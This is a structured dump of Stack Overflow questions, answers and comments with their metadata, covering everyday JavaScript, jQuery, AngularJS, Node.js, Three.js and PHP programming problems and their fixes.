type: AcceptedAnswer
upvote count: 11

checkbox
tag name: checkbox
tags question: http://stackoverflow.com/q/25633566
tags question: http://stackoverflow.com/q/25584822
tags question: http://stackoverflow.com/q/25568593
tags question: http://stackoverflow.com/q/25682691
tags question: http://stackoverflow.com/q/25585409
tags question: http://stackoverflow.com/q/25640050
tags question: http://stackoverflow.com/q/25688047
tags question: http://stackoverflow.com/q/25645065
tags question: http://stackoverflow.com/q/25598554
tags question: http://stackoverflow.com/q/25572583
tags question: http://stackoverflow.com/q/25563785
tags question: http://stackoverflow.com/q/25698556
tags question: http://stackoverflow.com/q/25698787
tags question: http://stackoverflow.com/q/25708495
tags question: http://stackoverflow.com/q/25707097
tags question: http://stackoverflow.com/q/25664981
type: Tag
tags question: http://stackoverflow.com/q/25599752
tags question: http://stackoverflow.com/q/25647624
tags question: http://stackoverflow.com/q/25583482
tags question: http://stackoverflow.com/q/25615963
tags question: http://stackoverflow.com/q/25567881

http://stackoverflow.com/q/25642673
type: Question
has title: change style of polyfill with HTML5
tagged with: javascript
tagged with: polyfills
answer count: 1
has answer: http://stackoverflow.com/a/25651782
tagged with: jquery
type: UnansweredQuestion
has body: I use polyfill with HTML5 as the following code and It works fine It generate date picker but It's not very nice Is there any way to change to other style?
score: 0

http://stackoverflow.com/comment/40130227
type: Comment
type: QuestionComment
has text: @inf3rno Mongoose will use whatever "type" you declare explicitly for `_id` in the schema, or implicitly adds a `ObjectId` where you do not define it. It will even try to "cast" arguments supplied as a string to the correct type where it can.
comment on: http://stackoverflow.com/q/25677327
score: 0

http://stackoverflow.com/q/25694334
answer count: 1
tagged with: javascript
score: 0
has body: I have cricket player cards where a user can select 11 out of a possible 30, have in 2 in for test atm, the problem is, I am selecting the players in a child scope which adds them to an array which is declared in the parent scope. Then that same array is mapped to a different child scope but the values are not passing down. Code Below, any help would be great. Cheers!! var page = ' ' + ' ' + ' Your Choices ' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + ' ' + ' '; var card = ' ' + ' ' + ' ' + ' ' + ' ' + ' {{playerCard.name}} ' + ' '; (function () { 'use strict'; // -------------------------------------------------------------------------- // Cricket Page // -------------------------------------------------------------------------- angular.module('eform').directive('cricket', ['$timeout', function ($timeout) { return { restrict: 'A', template: page, scope: true, controller: function($scope){ }, link: function($scope, $element){ $scope.players = [ {name: 'George Baily', img: 'Bailey.png'}, {name: 'Micheal Clarke', img: 'Clarke.png'} ]; $scope.chosenPlayers = []; $timeout(function(){ $element = $element.find('.card'); $element.on('click', function(){ var $this = $(this); if($this.hasClass('chosen')){ $this.removeClass('chosen').removeClass('active'); } else { $this.addClass('chosen'); $scope.chosenPlayers.push({name : $this.attr('data-name'), img : $this.attr('data-img')}); } }); $($element[0]).hover(function() { var $this = $(this); $this.addClass('active'); }, function() { var $this = $(this); $this.removeClass('active'); }); }); } }; }]); })(); (function () { 'use strict'; // -------------------------------------------------------------------------- // Cricket card // -------------------------------------------------------------------------- angular.module('eform').directive('cards', [ function () { return { restrict: 'A', template: card, scope : { playerCards : '=playerCards' } }; }]); })(); (function () { 'use strict'; // -------------------------------------------------…
accepted answer: http://stackoverflow.com/a/25779576
tagged with: angularjs
has title: Child Scope to Parent Scope Down to different child Scope
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25779576

http://stackoverflow.com/q/25556557
has comment: http://stackoverflow.com/comment/39908069
score: 0
answer count: 1
tagged with: angularjs
has comment: http://stackoverflow.com/comment/39908592
type: AnsweredQuestion
has title: How to add controllers to a directive?
has body: I am trying to create a directive in my app. However, I need to use directive in different places and they have their own controller. so in my directive directive('test', [function($popover) { return { restrict: 'E', scope: false, link: function(scope, elem, attrs) { } }; } ]) How do I add two controllers to one directive? Thanks!
has answer: http://stackoverflow.com/a/25556758
type: Question
tagged with: angularjs-directive
accepted answer: http://stackoverflow.com/a/25556758
tagged with: javascript

http://stackoverflow.com/q/25672822
downvote count: 5
upvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40120709
has comment: http://stackoverflow.com/comment/40120891
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40121375
has comment: http://stackoverflow.com/comment/40120797
has comment: http://stackoverflow.com/comment/40120990
has title: Javascript Finding Any Visible Element
has answer: http://stackoverflow.com/a/25672885
type: UnansweredQuestion
has body: Is there any way in JavaScript to see if there are any visible elements and then hide them? I'm trying to avoid a bunch of if statements to check every div I have that needs to be visible/hidden. Only one div is going to be visible at a time; and I have a dozen or so, which could lead to a lot of if statements. Thanks for any help.
type: Question
score: -5
tagged with: css

http://stackoverflow.com/comment/40008378
type: Comment
type: QuestionComment
has text: @Bergi some `span` elements
comment on: http://stackoverflow.com/q/25610778
score: 0

http://stackoverflow.com/comment/40176425
type: QuestionComment
comment on: http://stackoverflow.com/q/25701299
has text: Yes its data from the form
score: 0
type: Comment

http://stackoverflow.com/q/25605164
has answer: http://stackoverflow.com/a/25607343
tagged with: php
type: AnsweredQuestion
has body: I have code like below, that code give me two select option , how to change select value on class kecamatan when I select value on class kota_kabupaten, for example : when I select "tangerang" in first select option(class kota_kabupaten) and then in the second select(class kecamatan) the values will be "balaraja" and "bitung" without "balong" in there. thanks before for your help :D javascript html/php <?php $kab = array( 'tangerang'=>array('balajara','bitung'), 'banten' => array('balong') ); foreach ($kab as $kab => $kecamatan){ echo " ".$kab." " ; } ?> <?php $kab = array( 'tangerang'=>array('balajara','bitung'), 'banten' => array('balong') ); $kabupaten="tangerang"; // this line just for example when the value is exist foreach ($kab as $kab => $kecamatan){ if(is_array($kecamatan)){ foreach ($kecamatan as $key => $value) { if($kab==$kabupaten){ echo " ".$value." " ; } } } } ?>
tagged with: select
has title: change other select value on select with jquery
type: Question
accepted answer: http://stackoverflow.com/a/25607343
has comment: http://stackoverflow.com/comment/39998287
possible better answer: http://stackoverflow.com/a/25605365
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25605365
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40058025
type: Comment
has text: ok,this is also right.i have found 1 another solution.as i'm creating retangles with loop ,so i can give name of each rectangle and click even with loop.
type: AnswerComment
comment on: http://stackoverflow.com/a/25637743
score: 0

http://stackoverflow.com/comment/40080675
comment on: http://stackoverflow.com/q/25650334
type: QuestionComment
score: 5
has text: No, the solution is to employ your app with HTTPS. I'm not sure why that would throw you back to square one, though.
type: Comment

http://stackoverflow.com/q/25623418
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25634589
has answer: http://stackoverflow.com/a/25634589
tagged with: web-scraping
type: AnsweredQuestion
type: Question
tagged with: google-apps-script
score: 0
tagged with: fetch
has body: Probably a trivial question for those who know and one that has been asked before (but I can't find it). A website contains a listbox to select a specific date. By default the date has been set to the next date a meeting will take place. Using var site = <a site> var response = UrlFetchApp.fetch(site); var data = response.getContentText(); I can get the content of the page. The page source, amongst a lot of other data, contains Vergaderingen gemeenteraad en commissies Vergaderdatum 18 december 2014 17 december 2014 13 november 2014 12 november 2014 25 september 2014 9 juli 2014 5 juni 2014 6 mei 2014 27 maart 2014 26 maart 2014 25 februari 2014 30 januari 2014 12 december 2013 Depending on the date chosen the rest of the page will be updated Obviously, apart from the 25 september 2014 I would like to retrieve data from other meetings. So I would like to know what (parameter ?) I should add to my code to select another date (= option) from the listbox while performing the fetch . In general I don't know what (and how many) options exist in the listboc, so I would like to loop through all of them. I'm using Google Apps Script for a UiApp
has title: Select an option while performing a fetch using Google Apps Script
answer count: 1

http://stackoverflow.com/comment/40147400
score: 0
has text: You still did not add the fix: `echo "{x: ".$i.", y: ".$data[1].", extprop: '".$data[4]."'}";`
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25687156

shadowbox
type: Tag
tag name: shadowbox
tags question: http://stackoverflow.com/q/25667852
tags question: http://stackoverflow.com/q/25629327

http://stackoverflow.com/a/25646147
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40073360
type: Answer
upvote count: 4
downvote count: 0
has body: If you export the constructor as a property of module.exports, then you'll have to refer to it by that as a property of the value returned from require(): var playa = require("./player.js"); var player = new playa.playa(); If you want require() to return the function itself, you can write module.exports = function() { this.createPlayer = function(){ } }
has comment: http://stackoverflow.com/comment/40073424
score: 4
accepted answer of: http://stackoverflow.com/q/25645967
answers question: http://stackoverflow.com/q/25645967
has comment: http://stackoverflow.com/comment/40073525

http://stackoverflow.com/comment/40084911
type: AnswerComment
type: Comment
has text: @Sunand, true enough, `.prop()` should be used for `disabled`
comment on: http://stackoverflow.com/a/25652717
score: 0

http://stackoverflow.com/a/25633804
type: Answer
has comment: http://stackoverflow.com/comment/40051130
has body: Why dont you have something like this? document.getElementById('nav').addEventListener('change', function(){ navigateToValue(); } function navigateToValue(){ window.location = this.value(); //you know the data going into sendAnalytics at this point sendAnalystics(); } function sendAnalytics(){ //your function body }
has comment: http://stackoverflow.com/comment/40051013
has comment: http://stackoverflow.com/comment/40051082
answers question: http://stackoverflow.com/q/25633619
has comment: http://stackoverflow.com/comment/40051227
score: 0

http://stackoverflow.com/comment/40107698
comment on: http://stackoverflow.com/a/25665306
type: AnswerComment
has text: Because it is more specific than `.*?`. If you take a look at the regex debugger on the demo link you've posted, you can see that your regex finds the match only after **95 steps**, whereas mine would only take 21 steps.
type: Comment
score: 2

http://stackoverflow.com/a/25654545
has comment: http://stackoverflow.com/comment/40088651
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: This should solve your problem: function fixImages() { // Create a list of all img which src starts with "-". var imgs = document.querySelectorAll('img[src^="-"]'); // Loop through this list. for (var i = 0; i &lt; imgs.length; i++) { // For each img, replace its src with the correct path + the // src that's already there. imgs[i].setAttribute('src', 'http://www.example.com/files/images/' + imgs[i].getAttribute('src')); } } Demo
answers question: http://stackoverflow.com/q/25654469
accepted answer of: http://stackoverflow.com/q/25654469
upvote count: 5
has comment: http://stackoverflow.com/comment/40088470
score: 5

http://stackoverflow.com/q/25683689
downvote count: 0
tagged with: javascript
has body: I'm trying to add my canvas to a div-container, so I had to make some changes to my raycasters vectors: var vector = new THREE.Vector3((event.clientX / window.innerWidth ) * 2 - 1, -(event.clientY / window.innerHeight ) * 2 + 1, 0.5); to var vector = new THREE.Vector3(((event.clientX - renderer.domElement.offsetLeft)//renderer.domElement.width ) * 2 - 1, -((event.clientY - renderer.domElement.offsetTop) / renderer.domElement.height) * 2 + 1, 0.5); as seen in: THREE.js Ray Intersect fails by adding div It works perfectly on desktop, but fails on mobile (iPhone 4s and Nexus 5). In my eyes there's nothing wrong with the calculation, so what am I missing?
has title: THREE.js Ray Intersect fails by adding canvas to div on mobile
favorite count: 0
linked to: http://stackoverflow.com/q/13542175
type: UnansweredQuestion
tagged with: three.js
upvote count: 1
has comment: http://stackoverflow.com/comment/40200213
answer count: 0
score: 1
type: Question

http://stackoverflow.com/a/25685706
answers question: http://stackoverflow.com/q/25590628
type: Answer
accepted answer of: http://stackoverflow.com/q/25590628
has body: The issue has been solved here: https://github.com/janpaepke/ScrollMagic/issues/148
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/39991350
has text: You'll really have to provide a reproducible example for more help...
comment on: http://stackoverflow.com/q/25585409
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40220485
type: QuestionComment
comment on: http://stackoverflow.com/q/25708812
has text: Thanks Zlatko. readFromDB is async, wrote it that way for readability. I was expecting that hugeData array would be freed after processStuff() is done, but that seems to remain. The worker starts once, and then listens to events and calls performJob()
score: 0
type: Comment

http://stackoverflow.com/comment/40086975
score: 0
type: QuestionComment
type: Comment
has text: you can also, do something like `$('the_id').click(function(){ window.open...etc; })`
comment on: http://stackoverflow.com/q/25653882

http://stackoverflow.com/q/25646222
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40072886
has comment: http://stackoverflow.com/comment/40073070
downvote count: 0
tagged with: javascript
has body: Im working on a site design that requires a hoverbox on mouseover, the hover box will display html with a brief description of the page content and a link. I came across this Fiddle which seamed easy enough http://jsfiddle.net/U7tRy/57/ However for the life in me I cannot get it to work I have put my code JS code below and in Fiddle and would very much appreciate if the community could help me. $('.hovercard').hover(function() { $(this).stop(true, false).show(); }, function() { $('.hovercard').hide(); }); $('.about-us-card ').hover(function() { $(this).find('.hovercard').delay(100).fadeIn('linear'); // show() doesn't seem to work with delay }, function() { $(this).find('.hovercard').delay(100).fadeOut('fast'); }); http://jsfiddle.net/dpt3pu9h/
tagged with: jquery
has title: .JS hoverbox not displaying
favorite count: 0
has comment: http://stackoverflow.com/comment/40073340
tagged with: http://stackoverflow.com/tag/html
tagged with: css
answer count: 0
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/a/25705318
has comment: http://stackoverflow.com/comment/49587215
answers question: http://stackoverflow.com/q/25705067
has comment: http://stackoverflow.com/comment/40181069
has comment: http://stackoverflow.com/comment/65465468
type: Answer
has comment: http://stackoverflow.com/comment/45592550
has comment: http://stackoverflow.com/comment/40180921
has comment: http://stackoverflow.com/comment/40181161
has comment: http://stackoverflow.com/comment/40181353
accepted answer of: http://stackoverflow.com/q/25705067
has comment: http://stackoverflow.com/comment/57214758
score: 63
has comment: http://stackoverflow.com/comment/40181310
has comment: http://stackoverflow.com/comment/40180859
upvote count: 63
type: AcceptedAnswer
downvote count: 0
has body: First identify the steps and write them as asynchronous functions (taking a callback argument) read the file function readFile(readFileCallback) { fs.readFile('stocktest.json', function (error, file) { if (error) { readFileCallback(error); } else { readFileCallback(null, file); } }); } process the file (I removed most of the console.log in the examples) function processFile(file, processFileCallback) { var stocksJson = JSON.parse(file); if (stocksJson[ticker] != null) { stocksJson[ticker].price = value; fs.writeFile('stocktest.json', JSON.stringify(stocksJson, null, 4), function (error) { if (err) { processFileCallback(error); } else { console.log("File successfully written"); processFileCallback(null); } }); } else { console.log(ticker + " doesn't exist on the json"); processFileCallback(null); //callback should always be called once (and only one time) } } Note that I did no specific error handling here, I'll take benefit of async.waterfall to centralize error handling at the same place. Also be careful that if you have (if/else/switch/...) branches in an asynchronous function, it always call the callback one (and only one) time. Plug everything with async.waterfall async.waterfall([ readFile, processFile ], function (error) { if (error) { //handle readFile error or processFile error here } }); Clean example The previous code was excessively verbose to make the explanations clearer. Here is a full cleaned example: async.waterfall([ function readFile(readFileCallback) { fs.readFile('stocktest.json', readFileCallback); }, function processFile(file, processFileCallback) { var stocksJson = JSON.parse(file); if (stocksJson[ticker] != null) { stocksJson[ticker].price = value; fs.writeFile('stocktest.json', JSON.stringify(stocksJson, null, 4), function (error) { if (!err) { console.log("File successfully written"); } processFileCallback(err); }); } else { console.log(ticker + " doesn't exist on the json"); processFileCallback(null); } } ], function (error) { if (error) {…

http://stackoverflow.com/comment/40188327
has text: It looks like it's definitely an encoding issue, and the only answer is to encodeURIComponent decodeURIComponent the message before and after presenting it.
comment on: http://stackoverflow.com/q/25709535
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/31742916
downvote count: 0
type: Answer
score: 4
answers question: http://stackoverflow.com/q/25603817
has body: You need to find header.tpl file: https://github.com/PrestaShop/PrestaShop/blob/develop/themes/default-bootstrap/header.tpl {$HOOK_HEADER} Remember to disable CCC options for JS (especially moving JavaScript to the end): Anything within {literal}{/literal} tags is not interpreted, but displayed as-is {literal} {/literal} {ldelim} and {rdelim} are used for escaping template delimiters, by default { and }: gives: If you still have a problem you may try to override Media Class: https://gist.github.com/hereswhatidid/8c8edef106ee95138b03 Some HTML goes here Media.php: <?php Class Media extends MediaCore { public static function deferScript($matches) { if (!is_array($matches)) return false; $inline = ''; if (isset($matches[0])) $original = trim($matches[0]); if (isset($matches[1])) $inline = trim($matches[1]); /* This is an inline script, add its content to inline scripts stack then remove it from content */ if (!empty($inline) && preg_match('/<\s*script(?!.*data-keepinline)[^>]*>/ims', $original) !== 0 && Media::$inline_script[] = $inline) return ''; /* This is an external script, if it already belongs to js_files then remove it from content */ preg_match('/src\s*=\s*["\']?([^"\']*)[^>]/ims', $original, $results); if (isset($results[1]) && (in_array($results[1], Context::getContext()->controller->js_files) || in_array($results[1], Media::$inline_script_src))) return ''; /* return original string because no match was found */ return $original; } }
upvote count: 4

http://stackoverflow.com/comment/114830151
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/50047525
score: 1
has text: just a note: clamping values is an incorrect idea, better to re-sample again. otherwise, you would get fat tails.